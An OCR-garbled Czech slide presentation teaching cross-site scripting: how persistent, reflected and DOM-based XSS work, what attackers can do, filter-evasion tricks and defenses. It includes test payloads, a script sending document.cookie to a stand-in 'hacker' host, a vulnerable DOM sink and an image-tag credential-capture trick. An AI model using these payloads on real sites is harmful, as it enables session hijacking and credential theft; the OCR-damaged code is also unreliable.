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Struktura

= Uvedeni do preblematiky
= Vlastni vyzkum v oblasti WAS
* Praktické ukazky




Sila XSS anebi,may the force be
with you!
= Prohlizec nebo system obeti nemusi byt
vubec nachylny vucl zadnée znameé
Zranitelnosti.

« Zavislost na duvere v bezpecne napsanou
a odladenou navstivenou stranku.

* Imunnii vuci klasickému zabezpeceni
(SSL/TLS, firewall)




Prncip XSS

= Typicky injekce HTML/javascript
= |nterpretuje se v prohlizeci uzivatele
« Persistentni vs. Non-persistentni kod

* Zranitelny server slouzi pouze jako
zprostredkovatel utocnikovych zameru.
\Vyzaduje 3 strany.
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Jak |e mozne vwvelat XSS

Umys| autoerizovaného vlastnika stranky

Vlezeni zaskodného Javascriptu exploitact
zranitelnosti sitové vrstvy nebo zranitelnosti
hostitelskeho systemu s vyuzitim

Vlezenim scriptu do verejné oblasti webstranek
(diskusni fora a spol.-viz priklad Kyberia.sk)

Podstrceni specialne upravenéeho URL odkazu
obeti (non-persistentni nebo DOM based — viz
2 priklady)
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Pohled utechika

= Patra po mistech na strance, kde to, co
Viezii se po zpracovani dotazu odzrcadli na
strance (klasicky pres search box).

« Nasledné zkousi otestovat moznost
provedeni JavaScriptu napr.:

“><SCRIPT>alert("XSS positive")</SCRIPT>




Moeznostl Utecnika

= Odchyceni relace (session hijacking)

= Odposlech stlacenyeh klaves

* Hackovani vnitrni site (typicky za NATem)
« Ukradeni historie navstivenych webu

* DoS

* Presmeéerovani na web utocnika
(window.location="URL")




MoZnosti propagace non-
persistentnino XSS v URL

« E-mail (spam)
» Diskusni fora

« Chat/lM (napr. ICQ)
* atd...dalsi napady?

Napadene URL vypada duveryhodne,
protoze obsahuje validni DNS hosthame
existujiciho serveru.




Priklad simulovanéeho utoku

« <script=alert(document.coekie)</script>
ZPUSobI Zobrazeni cookie pomoci pop-up.
- Utoénik pozaduje zaslani cookie na server
<SCript>
var x=new Image();
X.src=, http://hacker“+document.cookie;

</script>




PDON-Based XSS (zranitelnost na
Strane serveru)

Mejme nasledujici skript na strane serveru

var url = window.location. href;
var pos = url.indexOf(“title=") + 6;
var len = url.length;

var title_string = url.substring(pos,len);
document.write(unescape(title_string));

(viz ukdzka DOM-based server vulnerability. html)




PDON-Based XSS (zranitelnost na
Strane serveru)

http://server?product 1d=100&title=
Eeo#<SCRIPT>alert("XSS positive’)
</SCRIPT>

Na strane serveru nedetekovatelny J >>

Znak ‘# zpusobl, ze retezec za timto
znakem neni posilan na server, ale je
zpracovan pouze lokalne na strane klienta.




Moznesti propagace persistentnino
XSS

- Fora
= Komentar blogu
* Hodnoceni produktu

« Chatovaci mistnosti
« HTML e-maily

« Wiki stranky

* atd...dalsi napady?




\/Yhody persistentniho XSS oproti
non-persistentnimu

Infikovanou stranku dochazi
(neni typicky pozadovana ex
ttocnika-kliknuti na odkaz)

0et’ navstivi
K vykonani kodu

olicitni akce

Jedina (mnou znama) efektivni obrana je
vypnuti vykonavani JavaScriptu v prohlizeci pri
brouzdani siti. Znate dalsi?

Je potreba duverovat nejen informacnimu zdroji,
ale | prostredku, jak jsme se k danému zdroji
dostali (URL zaslané v e-mailu neduveryhodnym
zdrojem muze obsahovat XSS)
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Kamuiiaze vkladanyech funkcnich
elementul pred filtraci vstupu

= Prokladani kodu binarmi nulou 0x00 [IE]

= Substituce typicky napr. ‘<" a >’ (napr.
URIL encoded %3c a %3e nebo prictent

ordinalni hodnety 128 — chyba IE pri
kodevani us-ascii)




Pikosky na zaver

* Moznost odchyeceni autentizacnich tdaju
nepozornyeh uzivatel za pomoci odkazu na
obrazek J (viz ukazka)

« Kde Ize Utok provest? — na vsech mistech, kde
je mozneé viozit odkaz na obrazek odkazujici se
na externi zdroj pomoci elementu

<|mg Src="utocnikovo.php”>

« Ukazka google-hackingu
(Inurl:"robot.txt" | inurl:"robots.txt" )
Intext:disallow filetype:txt
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Shrnuti

« Vice nez 50% (edit - 90%) webui neni vuci temto typum
ttokul Imunni

UTOK
JavaScript jakoronmouseOver, onmouseOut, v PDF[IE],

v PNGIIE], pouziti bilych mist (0x08,0x09,0x00[IE]), jina
Interpretace znaku >’, ‘<’ URL-encoded...

OBRANA
« \/stupy, testovat, testovat, testovat!!!

« Betaverze idealné nechat proverit nezavislymi
pentestery

« Vypinat JavaScript pri navstéve neduveryhodného webu.
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Myslenka z praxe

\/ pripade edhaleni zranitelnosti na
renemovanyech serverech je (ekonomicky)
vyhedng|si o chybe informovat
administratory nez media (nabidka
zajimave spoluprace, financni odmena)




Dalsi zdroje

IHa.ckers.org

Owasp.orng
\Watchiire.com (welbcast archive)

Acunetix.com

My ICQ 333-508-250
mailto:xanthix@gmail.com
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